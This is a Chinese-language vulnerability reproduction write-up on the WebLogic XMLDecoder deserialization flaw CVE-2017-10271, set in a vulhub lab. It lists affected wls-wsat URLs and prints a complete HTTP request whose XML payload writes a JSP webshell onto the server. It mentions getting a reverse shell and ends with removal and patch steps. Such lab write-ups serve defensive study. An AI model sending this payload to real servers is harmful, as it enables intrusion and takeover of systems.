【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)

server/2024/9/29 5:36:42/

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3、环境搭建(vulhub)

cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config

不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

4、漏洞利用

1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter">   <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> <void method="println">
<string>  <![CDATA[
<% out.print("webshell"); %>]]> </string>  </void>   <void method="close"/>   </object></java></java>  </work:WorkContext>   </soapenv:Header>   <soapenv:Body/>
</soapenv:Envelope>

3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

不熟悉JAVA可以了解构造的XML。


https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。

我们kali开启监听。

成功获取到shell。

5.解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

删除后重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839


http://www.ppmy.cn/server/23008.html

相关文章

【前端热门框架【vue框架】】——条件渲染和列表渲染的学习的秒杀方式

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;程序员-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;v…

day83 AJAX

一&#xff1a;什么是AJAX AJAX语法 AJAX Asynchronous JavaScript and XML 异步js和XML 实现页面某一部份更新&#xff0c;无需服务器转发或重定向 1 $.ajax() 语法: $.ajax( { "url" : "url", …

手动在Ubuntu22.04上部署LAMP环境

简介 LAMP环境是常用的Web开发环境之一&#xff0c;其中LAMP分别代表Linux、Apache、MySQL和PHP。本文介绍如何在Ubuntu操作系统的ECS实例内部署LAMP环境。 准备工作 该实例必须满足以下条件&#xff1a; 实例已分配公网IP地址或绑定弹性公网IP&#xff08;EIP&#xff09;。…

git commit message

文章目录 什么是commit message组成类型*作用范围*主题*正文&#xff08;可选&#xff09;注脚&#xff08;可选&#xff09; 什么是commit message 在我们使用git commit命令提交代码变更时&#xff0c;用于描述本次变动内容或理由的信息。对于每一次代码提交&#xff0c;都应…

低代码引领AI创新:业务解决方案智能化设计

当低代码平台与AI技术巧妙融合&#xff0c;一场关于构建智能化应用的新革命正在悄然上演。本篇文章主要从低代码开发的优势、AI在低代码开发的融入及应用案例&#xff0c;来探讨更高效、智能的业务解决方案&#xff0c;希望能对您有所帮助&#xff01; 一、低代码平台&#xf…

声波清洗机十大品牌:2024年度TOP10高质量超声波清洗机品牌盘点

眼镜没有清洗干净带来的危害可不算小&#xff01;长期佩戴模糊不清的眼镜&#xff0c;不仅影响视力&#xff0c;加深近视度数&#xff0c;在戴眼镜的时候总是习惯用手去扶眼镜&#xff0c;以及日常生活使用佩戴眼镜时会让镜片以及镜框布满污垢和细菌&#xff0c;长期以往也会对…

负载均衡简介

负载均衡是分布式系统中一种重要技术&#xff0c;用于优化资源使用、提高服务可用性和响应速度&#xff0c;确保系统的扩展性和可靠性。主要的负载均衡种类包括以下几种&#xff1a; 1. **硬件负载均衡**&#xff1a; - **概念**&#xff1a;通过专门设计的硬件设备来分发网…

WPF之textbox输入框

在wpf中textbox标签代表输入盒子。 常用属性 SelectionBrush选定文本的颜色BorderBrush边框颜色fontsize文本大小Foreground字体颜色 事件 TextChanged输入框发生变化时触发的事件 实例: 功能: 设置输入框发生变化获取文本内容 <Grid><!--SelectionBrush 选定的文…